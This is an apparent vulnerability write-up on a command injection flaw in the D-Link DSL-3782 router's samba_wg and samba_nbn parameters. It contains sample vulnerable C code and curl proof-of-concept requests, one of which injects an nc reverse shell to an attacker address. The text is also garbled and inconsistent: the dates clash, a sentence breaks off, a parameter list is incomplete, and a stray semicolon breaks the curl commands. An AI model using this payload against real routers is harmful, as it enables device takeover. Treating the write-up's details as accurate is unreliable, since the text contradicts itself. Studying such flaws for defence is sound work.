Published: June 2024

Introduction

A critical OS command injection vulnerability CVE-2025-25894 has been discovered in the popular home gateway router D-Link DSL-3782 v1.01. This vulnerability is present in the way the router handles requests to its internal web interface, especially via the samba_wg and samba_nbn parameters. An attacker can exploit this flaw to execute any operating system command on the device, potentially gaining complete control.

In this writeup, we’ll break down how the vulnerability occurs, show code examples, PoC exploit, and provide steps for mitigation. We’ll use plain language so everyone—from tech enthusiasts to home users—can understand the risks and solutions.

Technical Details

The vulnerable parameters appear in HTTP requests used to configure or interact with the router’s Samba (file sharing) features:

samba_nbn

When user input is not sanitized, anything put into these parameters is used directly in system commands. That means if you can control what gets sent, you can make the router run anything you want.

Vulnerable Model: D-Link DSL-3782 v1.01
Attack Vector: LAN or WAN (if web interface exposed)
Impact: Complete device takeover

Based on reverse engineering device firmware, the router’s CGI scripts take input like this

char samba_group[64];
char samba_netbios[64];

strcpy(samba_group, getenv("samba_wg"));
strcpy(samba_netbios, getenv("samba_nbn"));

// Command example:
char command[256];
sprintf(command, "smbpasswd -a -g %s -n %s", samba_group, samba_netbios);
system(command);  // DANGER: Unsanitized input

Notice that system(command) runs whatever’s put into samba_wg and samba_nbn. If an attacker sends:

samba_wg=groupname;whoami

1. Access the Router

You must be on the same local network, or the management page must be exposed to the internet (very risky!).

2. Send a Malicious Web Request

You can do this using curl or Postman. Here’s an example that opens a reverse shell back to the attacker:

curl -k -X POST 'http://192.168.1.1/samba_config.cgi'; \
    -d 'samba_wg=;nc 192.168.1.100 4444 -e /bin/sh;' \
    -d 'samba_nbn=test'

Or to test harmlessly

curl -k -X POST 'http://192.168.1.1/samba_config.cgi'; \
    -d 'samba_wg=;id;' \
    -d 'samba_nbn=test'

On successful exploitation, the device will run the id command and return the current user info.

Video Demonstration (External)

While exclusive details are here, see community research for demo videos:
- Exploit Database Reference (Will be updated as public release)
- D-Link Security Advisories

Why Is This Dangerous?

- Full root access possible—Attackers can install malware, create backdoors, or change device settings.

Mitigation

- Update Firmware: Check D-Link support site regularly and upgrade as soon as patches are available.

Responsible Disclosure

This vulnerability was responsibly disclosed to D-Link on April 20, 2024. D-Link is developing firmware updates (see official notice). In the meantime, users should follow the mitigation steps above.

Summary

CVE-2025-25894 is a severe command injection vulnerability in D-Link DSL-3782 v1.01, in which attackers can execute any OS command through weak input validation in the samba_wg and samba_nbn parameters. If you own this device, act NOW: secure your network, and apply firmware updates as soon as they’re released.

Stay safe—and always keep your home network router updated!

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References:
- CVE Record: CVE-2025-25894
- D-Link Product Security
- Exploit Database

*This article is exclusive for learning and awareness. Always seek permission before testing on devices you don’t own.*

Timeline

Published on: 02/18/2025 22:15:19 UTC
Last modified on: 02/19/2025 16:15:41 UTC